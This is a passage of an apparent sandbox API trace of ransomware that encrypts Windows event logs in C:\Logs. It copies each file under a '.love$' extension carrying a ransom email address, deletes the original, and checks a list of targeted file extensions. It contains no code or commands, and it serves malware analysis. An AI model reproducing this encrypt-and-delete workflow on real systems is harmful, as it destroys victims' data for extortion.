(lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45 [0122.652] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0122.653] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0122.653] CloseHandle (hObject=0x3a4) returned 1 [0122.653] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0122.653] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.653] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0122.653] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.653] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.653] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0122.654] GetLastError () returned 0x0 [0122.654] ReadFile (in: hFile=0x3a4, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.722] WriteFile (in: hFile=0x2b8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.724] ReadFile (in: hFile=0x3a4, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0122.727] WriteFile (in: hFile=0x2b8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x12e, lpOverlapped=0x0) returned 1 [0122.727] SetEndOfFile (hFile=0x2b8) returned 1 [0122.739] CloseHandle (hObject=0x2b8) returned 1 [0122.744] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.744] SetEndOfFile (hFile=0x3a4) returned 1 [0122.746] CloseHandle (hObject=0x3a4) returned 1 [0122.746] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0122.747] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1 [0122.747] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0122.747] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0122.747] lstrlenW (lpString=".doc") returned 4 [0122.747] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.747] lstrlenW (lpString=".docx") returned 5 [0122.747] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.747] lstrlenW (lpString=".pdf") returned 4 [0122.747] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.748] lstrlenW (lpString=".xls") returned 4 [0122.748] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.748] lstrlenW (lpString=".xlsx") returned 5 [0122.748] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.748] lstrlenW (lpString=".ppt") returned 4 [0122.748] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.748] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0122.748] lstrlenW (lpString=".zip") returned 4 [0122.748] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.748] lstrlenW (lpString=".rar") returned 4 [0122.748] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.748] lstrlenW (lpString=".bz2") returned 4 [0122.748] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.748] lstrlenW (lpString=".7z") returned 3 [0122.748] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.748] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0122.748] lstrlenW (lpString=".dbf") returned 4 [0122.748] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.748] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0122.748] lstrlenW (lpString=".1cd") returned 4 [0122.748] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.748] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0122.748] lstrlenW (lpString=".jpg") returned 4 [0122.748] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.748] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0122.748] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0122.749] lstrlenW (lpString=".doc") returned 4 [0122.749] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.749] lstrlenW (lpString=".docx") returned 5 [0122.749] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.749] lstrlenW (lpString=".pdf") returned 4 [0122.749] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.749] lstrlenW (lpString=".xls") returned 4 [0122.749] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.749] lstrlenW (lpString=".xlsx") returned 5 [0122.749] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.749] lstrlenW (lpString=".ppt") returned 4 [0122.749] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.749] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0122.749] lstrlenW (lpString=".zip") returned 4 [0122.749] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.749] lstrlenW (lpString=".rar") returned 4 [0122.749] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.749] lstrlenW (lpString=".bz2") returned 4 [0122.749] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.749] lstrlenW (lpString=".7z") returned 3 [0122.749] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.749] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0122.749] lstrlenW (lpString=".dbf") returned 4 [0122.749] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.749] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0122.749] lstrlenW (lpString=".1cd") returned 4 [0122.750] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.750] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0122.750] lstrlenW (lpString=".jpg") returned 4 [0122.750] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.750] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0122.750] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39 [0122.750] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0122.751] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0122.751] CloseHandle (hObject=0x3a4) returned 1 [0122.751] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0122.751] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.751] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0122.751] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.751] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.751] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0122.757] GetLastError () returned 0x0 [0122.757] ReadFile (in: hFile=0x3a4, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.773] WriteFile (in: hFile=0x344, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.776] ReadFile (in: hFile=0x3a4, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0122.776] WriteFile (in: hFile=0x344, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x122, lpOverlapped=0x0) returned 1 [0122.776] SetEndOfFile (hFile=0x344) returned 1 [0122.776] CloseHandle (hObject=0x344) returned 1 [0122.779] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.779] SetEndOfFile (hFile=0x3a4) returned 1 [0122.781] CloseHandle (hObject=0x3a4) returned 1 [0122.781] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0122.782] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1 [0122.782] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0122.782] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0122.782] lstrlenW (lpString=".doc") returned 4 [0122.782] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.782] lstrlenW (lpString=".docx") returned 5 [0122.782] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.782] lstrlenW (lpString=".pdf") returned 4 [0122.782] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.782] lstrlenW (lpString=".xls") returned 4 [0122.782] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.782] lstrlenW (lpString=".xlsx") returned 5 [0122.783] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.783] lstrlenW (lpString=".ppt") returned 4 [0122.783] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.783] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0122.783] lstrlenW (lpString=".zip") returned 4 [0122.783] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.783] lstrlenW (lpString=".rar") returned 4 [0122.783] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.783] lstrlenW (lpString=".bz2") returned 4 [0122.783] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.783] lstrlenW (lpString=".7z") returned 3 [0122.783] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.783] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0122.783] lstrlenW (lpString=".dbf") returned 4 [0122.783] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.783] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0122.783] lstrlenW (lpString=".1cd") returned 4 [0122.783] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.783] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0122.783] lstrlenW (lpString=".jpg") returned 4 [0122.783] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.783] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0122.783] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0122.784] lstrlenW (lpString=".doc") returned 4 [0122.784] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0122.784] lstrlenW (lpString=".docx") returned 5 [0122.784] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0122.784] lstrlenW (lpString=".pdf") returned 4 [0122.784] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0122.784] lstrlenW (lpString=".xls") returned 4 [0122.784] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0122.784] lstrlenW (lpString=".xlsx") returned 5 [0122.784] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0122.784] lstrlenW (lpString=".ppt") returned 4 [0122.784] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0122.784] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0122.784] lstrlenW (lpString=".zip") returned 4 [0122.784] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0122.784] lstrlenW (lpString=".rar") returned 4 [0122.784] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0122.784] lstrlenW (lpString=".bz2") returned 4 [0122.784] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0122.785] lstrlenW (lpString=".7z") returned 3 [0122.785] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0122.785] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0122.785] lstrlenW (lpString=".dbf") returned 4 [0122.785] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0122.785] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0122.785] lstrlenW (lpString=".1cd") returned 4 [0122.785] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0122.785] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0122.785] lstrlenW (lpString=".jpg") returned 4 [0122.785] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0122.785] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0122.785] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46 [0122.785] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0122.786] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0122.786] CloseHandle (hObject=0x3a4) returned 1 [0122.786] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0122.786] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.786] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0122.786] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.786] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.786] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0122.787] GetLastError () returned 0x0 [0122.787] ReadFile (in: hFile=0x3a4, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.802] WriteFile (in: hFile=0x344, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.805] ReadFile (in: hFile=0x3a4, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0122.805] WriteFile (in: hFile=0x344, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x130, lpOverlapped=0x0) returned 1 [0122.805] SetEndOfFile (hFile=0x344) returned 1 [0122.805] CloseHandle (hObject=0x344) returned 1 [0122.812] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0122.812] SetEndOfFile (hFile=0x3a4) returned 1 [0122.814] CloseHandle (hObject=0x3a4) returned 1 [0122.814] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0122.814] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1 [0123.085] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0123.085] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0123.085] lstrlenW (lpString=".doc") returned 4 [0123.085] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.085] lstrlenW (lpString=".docx") returned 5 [0123.085] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.085] lstrlenW (lpString=".pdf") returned 4 [0123.085] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.085] lstrlenW (lpString=".xls") returned 4 [0123.085] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.085] lstrlenW (lpString=".xlsx") returned 5 [0123.106] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.106] lstrlenW (lpString=".ppt") returned 4 [0123.106] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.106] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0123.106] lstrlenW (lpString=".zip") returned 4 [0123.106] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.106] lstrlenW (lpString=".rar") returned 4 [0123.106] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.106] lstrlenW (lpString=".bz2") returned 4 [0123.106] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.106] lstrlenW (lpString=".7z") returned 3 [0123.106] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0123.112] lstrlenW (lpString=".dbf") returned 4 [0123.112] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0123.112] lstrlenW (lpString=".1cd") returned 4 [0123.112] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.112] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0123.112] lstrlenW (lpString=".jpg") returned 4 [0123.112] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0123.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0123.113] lstrlenW (lpString=".doc") returned 4 [0123.113] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0123.113] lstrlenW (lpString=".docx") returned 5 [0123.113] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0123.113] lstrlenW (lpString=".pdf") returned 4 [0123.113] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0123.113] lstrlenW (lpString=".xls") returned 4 [0123.113] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0123.113] lstrlenW (lpString=".xlsx") returned 5 [0123.113] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0123.113] lstrlenW (lpString=".ppt") returned 4 [0123.113] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0123.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0123.113] lstrlenW (lpString=".zip") returned 4 [0123.113] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0123.113] lstrlenW (lpString=".rar") returned 4 [0123.113] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0123.113] lstrlenW (lpString=".bz2") returned 4 [0123.113] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0123.113] lstrlenW (lpString=".7z") returned 3 [0123.113] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0123.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0123.113] lstrlenW (lpString=".dbf") returned 4 [0123.113] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0123.113] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0123.113] lstrlenW (lpString=".1cd") returned 4 [0123.113] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0123.114] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0123.114] lstrlenW (lpString=".jpg") returned 4 [0123.114] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0123.114] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0123.114] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70 [0123.114] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0123.115] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0123.115] CloseHandle (hObject=0x340) returned 1 [0123.115] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0123.115] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.115] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0123.116] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.116] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0123.116] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: 